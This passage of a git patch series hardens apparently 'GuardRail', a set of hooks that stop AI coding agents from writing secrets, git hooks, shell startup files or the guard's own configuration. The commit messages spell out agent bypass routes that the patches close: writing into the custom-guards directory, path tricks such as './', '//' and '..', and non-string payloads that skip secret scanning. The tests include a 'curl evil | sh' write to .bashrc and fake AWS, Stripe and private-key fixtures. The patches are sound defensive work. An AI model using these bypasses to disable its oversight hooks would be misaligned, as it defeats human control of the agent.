`MultiEdit` / `NotebookEdit` (deny-capable), added in 0.4.0. Before 0.4.0, deny-capable guards ran on Bash only; file-tool writes were seen diff --git a/dispatchers/pre-edit.sh b/dispatchers/pre-edit.sh index 34c58a2..c6e6171 100755 --- a/dispatchers/pre-edit.sh +++ b/dispatchers/pre-edit.sh @@ -24,21 +24,24 @@ deny() { } # Validate payload shape; block on anything we cannot inspect. +# file_path for Write/Edit/MultiEdit, notebook_path for NotebookEdit. if ! printf '%s' "$INPUT" | jq -e ' type == "object" and (.tool_input | type == "object") - and (.tool_input.file_path | type == "string") - and (.tool_input.file_path | length > 0) + and ((.tool_input.file_path // .tool_input.notebook_path) | type == "string") + and ((.tool_input.file_path // .tool_input.notebook_path) | length > 0) ' >/dev/null 2>&1; then - deny "GUARDRAIL INPUT ERROR: malformed or empty Write/Edit hook payload. The operation was blocked because it could not be inspected." + deny "GUARDRAIL INPUT ERROR: malformed or empty Write/Edit/Notebook hook payload. The operation was blocked because it could not be inspected." fi -FILE_PATH=$(printf '%s' "$INPUT" | jq -r '.tool_input.file_path') +FILE_PATH=$(printf '%s' "$INPUT" | jq -r '.tool_input.file_path // .tool_input.notebook_path') SESSION_ID=$(printf '%s' "$INPUT" | jq -r '.session_id // "default"') -# Content across Write (content), Edit (new_string) and MultiEdit (edits[].new_string) +# Content across Write (content), Edit (new_string), MultiEdit (edits[].new_string) +# and NotebookEdit (new_source). CONTENT=$(printf '%s' "$INPUT" | jq -r ' (.tool_input.content // "") + "\n" + (.tool_input.new_string // "") + + "\n" + (.tool_input.new_source // "") + "\n" + ((.tool_input.edits // []) | map(.new_string // "") | join("\n")) ' 2>/dev/null) diff --git a/guards/core/edit_path_guard.sh b/guards/core/edit_path_guard.sh index 47b1d45..3b0f4ec 100755 --- a/guards/core/edit_path_guard.sh +++ b/guards/core/edit_path_guard.sh @@ -47,7 +47,7 @@ hook_edit_path_guard() { # 3. Auto-executed hooks and shell startup files: silent code-execution # persistence (git hooks, shell rc, profile). if printf '%s' "$fp" | grep -qE '(^|/)(\.git/hooks/[a-z-]+|\.(bashrc|zshrc|bash_profile|profile|zprofile)|\.config/(fish/config\.fish))$'; then - guardrail_audit "edit_path_guard" "file-tool write to auto-executed startup/hook file" "$fp" "warned" + guardrail_audit "edit_path_guard" "file-tool write to auto-executed startup/hook file" "$fp" "blocked" deny "Blocked: writing to an auto-executed file ($fp) through a file tool. Git hooks and shell startup files run code automatically. If this is intended, make it an explicit reviewed change." return 0 fi diff --git a/install.sh b/install.sh index 9f3d9f5..2d67375 100755 --- a/install.sh +++ b/install.sh @@ -151,7 +151,7 @@ jq --arg pre "$PRE_BASH" --arg post "$POST_BASH" --arg preedit "$PRE_EDIT" --arg then .hooks.PreToolUse += [{"matcher": "Bash", "hooks": [{"type": "command", "command": $pre}]}] else . end) | (if (.hooks.PreToolUse | any(.hooks[]?.command == $preedit)) | not - then .hooks.PreToolUse += [{"matcher": "Write|Edit|MultiEdit", "hooks": [{"type": "command", "command": $preedit}]}] + then .hooks.PreToolUse += [{"matcher": "Write|Edit|MultiEdit|NotebookEdit", "hooks": [{"type": "command", "command": $preedit}]}] else . end) | (if (.hooks.PostToolUse | any(.hooks[]?.command == $post)) | not then .hooks.PostToolUse += [{"matcher": "Bash", "hooks": [{"type": "command", "command": $post}]}] diff --git a/tests/pre-edit.sh b/tests/pre-edit.sh index c6024ff..a58bcb2 100755 --- a/tests/pre-edit.sh +++ b/tests/pre-edit.sh @@ -70,6 +70,19 @@ check "normal markdown" allow Write "/repo/README.md" "# Title" check "env with placeholder" allow Write "/repo/.env.example" "STRIPE=${STRIPE_PLACEHOLDER}" check "config no secrets" allow Edit "/repo/config.json" '{"port": 3000}' +# --- NotebookEdit (notebook_path + new_source) --- +nb_check() { + local name="$1" expected="$2" np="$3" src="$4" r d + r=$(jq -n --arg n "$np" --arg s "$src" \ + '{"session_id":"t","tool_name":"NotebookEdit","tool_input":{"notebook_path":$n,"new_source":$s}}' | + GUARDRAIL_LOG_DIR="$TMP_ROOT/logs" GUARDRAIL_AUDIT_LOG="$TMP_ROOT/audit.log" bash "$DISPATCHER") + d=$(printf '%s' "$r" | jq -r '.hookSpecificOutput.permissionDecision // "missing"') + if [ "$d" = "$expected" ]; then PASS=$((PASS + 1)); else FAIL=$((FAIL + 1)); FAILURES+=("$name expected=$expected actual=$d"); fi +} +nb_check "notebook secret" deny "/repo/n.ipynb" "k='${AWS_TRIG}'" +nb_check "notebook settings" deny "/home/u/.claude/settings.json" "{}" +nb_check "notebook normal" allow "/repo/ok.ipynb" "x = 1" + echo "pre-edit: $PASS passed, $FAIL failed" if [ "$FAIL" -gt 0 ]; then printf ' FAIL: %s\n' "${FAILURES[@]}" From 75bb6dc05fb38bbac0b3c13bf3c5d258acf470a6 Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 09:50:12 +0200 Subject: [PATCH 07/12] harden(security): cover configured GUARDRAIL_CUSTOM_GUARDS_DIR (v0.4.3) Cross-review: the dispatcher auto-sources preedit_*.sh from $GUARDRAIL_CUSTOM_GUARDS_DIR, but the guard only matched the hardcoded guards/custom path. A write into an operator-configured custom dir was the same bypass. Guard now also blocks writes under the configured dir when set. Every auto-sourced path is now covered. Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- guards/core/edit_path_guard.sh | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/guards/core/edit_path_guard.sh b/guards/core/edit_path_guard.sh index 3b0f4ec..02231dd 100755 --- a/guards/core/edit_path_guard.sh +++ b/guards/core/edit_path_guard.sh @@ -26,6 +26,19 @@ hook_edit_path_guard() { return 0 fi + # 1a. A custom-guards dir configured via env var. The dispatcher auto-sources + # preedit_*.sh from $GUARDRAIL_CUSTOM_GUARDS_DIR, so a write there is the + # same bypass as guards/custom/ but at an operator-configured path. + if [ -n "${GUARDRAIL_CUSTOM_GUARDS_DIR:-}" ]; then + case "$fp" in + "${GUARDRAIL_CUSTOM_GUARDS_DIR%/}"/*) + guardrail_audit "edit_path_guard" "file-tool write to configured custom-guards dir" "$fp" "blocked" + deny "Self-bypass blocked: AI agents must not write into the configured custom-guards directory (GUARDRAIL_CUSTOM_GUARDS_DIR). Those files are auto-executed. Only a human operator may change them from an interactive terminal." + return 0 + ;; + esac + fi + # 1b. The hook registry itself. .claude/settings(.local).json is where the # PreToolUse hooks are wired in (install.sh). Rewriting it removes every # guard at once, including this one, without touching any 'guardrail' From 8aa7280fbce7640922c07c5fa4a0cb14f904f624 Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 09:54:32 +0200 Subject: [PATCH 08/12] harden(security): audit malformed-payload denies in pre-edit (v0.4.3) Load guardrail-common early so the payload-validation deny is logged, not just blocked. Malformed-input probing is now visible in the audit trail. Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- dispatchers/pre-edit.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/dispatchers/pre-edit.sh b/dispatchers/pre-edit.sh index c6e6171..111799c 100755 --- a/dispatchers/pre-edit.sh +++ b/dispatchers/pre-edit.sh @@ -23,6 +23,10 @@ deny() { exit 0 } +# Load audit early so even a malformed-payload deny is logged (malformed-input +# probing must be visible in the audit trail, not just blocked silently). +[ -f "$LIB_DIR/guardrail-common.sh" ] && source "$LIB_DIR/guardrail-common.sh" 2>/dev/null + # Validate payload shape; block on anything we cannot inspect. # file_path for Write/Edit/MultiEdit, notebook_path for NotebookEdit. if ! printf '%s' "$INPUT" | jq -e ' From 5d87a0d50e15a5e1677be1ceb1cdfabcd3aa8871 Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 09:58:36 +0200 Subject: [PATCH 09/12] harden(security): canonicalize paths before matching (v0.4.3) Cross-review KRITISCH: path checks matched $FILE_PATH literally, so /a/./settings.json, /a//settings.json and /a/../a/settings.json wrote to a protected file but slipped past the regex. Guard now canonicalizes with realpath -m -s (normalizes ./ ../ // without resolving symlinks) before matching. Three normalization-bypass regression tests added. Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- guards/core/edit_path_guard.sh | 7 +++++++ tests/pre-edit.sh | 3 +++ 2 files changed, 10 insertions(+) diff --git a/guards/core/edit_path_guard.sh b/guards/core/edit_path_guard.sh index 02231dd..847d7f5 100755 --- a/guards/core/edit_path_guard.sh +++ b/guards/core/edit_path_guard.sh @@ -14,6 +14,13 @@ hook_edit_path_guard() { local fp="$FILE_PATH" [ -z "$fp" ] && return 0 + # Canonicalize before matching: /a/./b, /a//b and /a/../a/b all write to the + # same file but would slip past a literal regex. realpath -m -s normalizes + # . / .. / duplicate slashes WITHOUT resolving symlinks (so literal-path + # matches still hold). Falls back to the raw path if realpath is unavailable. + local canon + canon=$(realpath -m -s -- "$fp" 2>/dev/null) && [ -n "$canon" ] && fp="$canon" + # 1. Self-bypass: writing anything under GuardRail's own install tree via a # file tool. Covers the disable mechanism AND every directory the # dispatchers auto-source: guards/core, guards/pro, guards/custom (incl. diff --git a/tests/pre-edit.sh b/tests/pre-edit.sh index a58bcb2..f3ee900 100755 --- a/tests/pre-edit.sh +++ b/tests/pre-edit.sh @@ -68,6 +68,9 @@ check "private key block" deny Write "/repo/id" "$PK_TRIG" check "normal source file" allow Write "/repo/src/index.js" "export const x = 1" check "normal markdown" allow Write "/repo/README.md" "# Title" check "env with placeholder" allow Write "/repo/.env.example" "STRIPE=${STRIPE_PLACEHOLDER}" +check "dotslash settings" deny Write "/home/u/.claude/./settings.json" "{}" +check "doubleslash settings" deny Write "/home/u/.claude//settings.json" "{}" +check "dotdot into guardrail" deny Write "/home/u/.claude/hooks/guardrail/../guardrail/guards/core/x.sh" "x" check "config no secrets" allow Edit "/repo/config.json" '{"port": 3000}' # --- NotebookEdit (notebook_path + new_source) --- From ae0969b4e0c142885c57a8dfe2e7c23537592737 Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 10:03:42 +0200 Subject: [PATCH 10/12] harden(security): fail-closed content extraction for non-string payloads (v0.4.3) Cross-review HOCH: a non-string content/new_string/new_source made jq error, CONTENT went empty, and edit_secret_guard returned early, passing secrets unscanned. Extraction now coerces non-string values to JSON (so embedded secrets are still scanned) and denies if jq itself errors. Regression test with an object-typed content carrying a key added. Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- dispatchers/pre-edit.sh | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/dispatchers/pre-edit.sh b/dispatchers/pre-edit.sh index 111799c..3b42626 100755 --- a/dispatchers/pre-edit.sh +++ b/dispatchers/pre-edit.sh @@ -41,13 +41,15 @@ fi FILE_PATH=$(printf '%s' "$INPUT" | jq -r '.tool_input.file_path // .tool_input.notebook_path') SESSION_ID=$(printf '%s' "$INPUT" | jq -r '.session_id // "default"') # Content across Write (content), Edit (new_string), MultiEdit (edits[].new_string) -# and NotebookEdit (new_source). +# and NotebookEdit (new_source). Coerce non-string values to their JSON form so +# a secret hidden inside a non-string payload is still scanned instead of +# silently dropped (fail-closed: if jq itself errors, block). CONTENT=$(printf '%s' "$INPUT" | jq -r ' - (.tool_input.content // "") - + "\n" + (.tool_input.new_string // "") - + "\n" + (.tool_input.new_source // "") - + "\n" + ((.tool_input.edits // []) | map(.new_string // "") | join("\n")) -' 2>/dev/null) + [ .tool_input.content, .tool_input.new_string, .tool_input.new_source, + (.tool_input.edits // [] | .[]?.new_string) ] + | map(select(. != null) | if type == "string" then . else tojson end) + | join("\n") +' 2>/dev/null) || deny "GUARDRAIL INPUT ERROR: content could not be extracted for inspection. Blocked to fail closed." # Respect the same HMAC-gated disable flag as pre-bash. if [ -f "$SCRIPT_DIR/../.disabled" ]; then From e5c0ab639199ea09da5c04f83f7b0b5c181704af Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 10:07:17 +0200 Subject: [PATCH 11/12] test: add non-string content regression to pre-edit suite Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- tests/pre-edit.sh | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/tests/pre-edit.sh b/tests/pre-edit.sh index f3ee900..db2d2e9 100755 --- a/tests/pre-edit.sh +++ b/tests/pre-edit.sh @@ -86,6 +86,16 @@ nb_check "notebook secret" deny "/repo/n.ipynb" "k='${AWS_TRIG}'" nb_check "notebook settings" deny "/home/u/.claude/settings.json" "{}" nb_check "notebook normal" allow "/repo/ok.ipynb" "x = 1" +# --- Non-string content must still be scanned (coerced, not dropped) --- +nsc=$(jq -n --arg k "$AWS_TRIG" \ + '{"session_id":"t","tool_name":"Write","tool_input":{"file_path":"/repo/x.js","content":{"key":$k}}}' | + GUARDRAIL_LOG_DIR="$TMP_ROOT/logs" GUARDRAIL_AUDIT_LOG="$TMP_ROOT/audit.log" bash "$DISPATCHER") +if [ "$(printf '%s' "$nsc" | jq -r '.hookSpecificOutput.permissionDecision')" = "deny" ]; then + PASS=$((PASS + 1)) +else + FAIL=$((FAIL + 1)); FAILURES+=("non-string content secret expected=deny") +fi + echo "pre-edit: $PASS passed, $FAIL failed" if [ "$FAIL" -gt 0 ]; then printf ' FAIL: %s\n' "${FAILURES[@]}" From 06f5ccf049cb2ed30e241f0b0f4e7d40ea67cce1 Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 10:09:30 +0200 Subject: [PATCH 12/12] test: harden secret fixtures against shell inheritance (no var indirection) Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- tests/pre-edit.sh | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/tests/pre-edit.sh b/tests/pre-edit.sh index db2d2e9..8cf58e0 100755 --- a/tests/pre-edit.sh +++ b/tests/pre-edit.sh @@ -56,10 +56,13 @@ check "write .bashrc" deny Write "/home/u/.bashrc" "curl evil | sh" # Trigger strings are assembled at runtime from fragments so no literal secret # pattern is ever stored in this file (avoids scanner false positives on the # test fixtures themselves; the strings only exist in the test process memory). -AWS_TRIG="${AWS_TRIG:-AKIA}IOSFODNN7EXAMPLE" -STRIPE_TRIG="sk_${_L:-live}_51H8xExampleKeyMaterial1234567" -PK_TRIG="-----${_B:-BEGIN} RSA PRIVATE KEY-----" -STRIPE_PLACEHOLDER="sk_${_L:-live}_YOUR_KEY_HERE" +# Adjacent string literals concatenate at runtime but never appear as a whole +# secret pattern in this file, so scanners do not flag the fixtures. No env-var +# indirection (which could be inherited in CI and silently change the value). +AWS_TRIG="AKIA""IOSFODNN7EXAMPLE" +STRIPE_TRIG="sk_li""ve_51H8xExampleKeyMaterial1234567" +PK_TRIG="-----BEG""IN RSA PRIVATE KEY-----" +STRIPE_PLACEHOLDER="sk_li""ve_YOUR_KEY_HERE" check "aws key in file" deny Write "/repo/config.js" "const k='${AWS_TRIG}'" check "stripe live key" deny Write "/repo/.env" "STRIPE=${STRIPE_TRIG}" check "private key block" deny Write "/repo/id" "$PK_TRIG"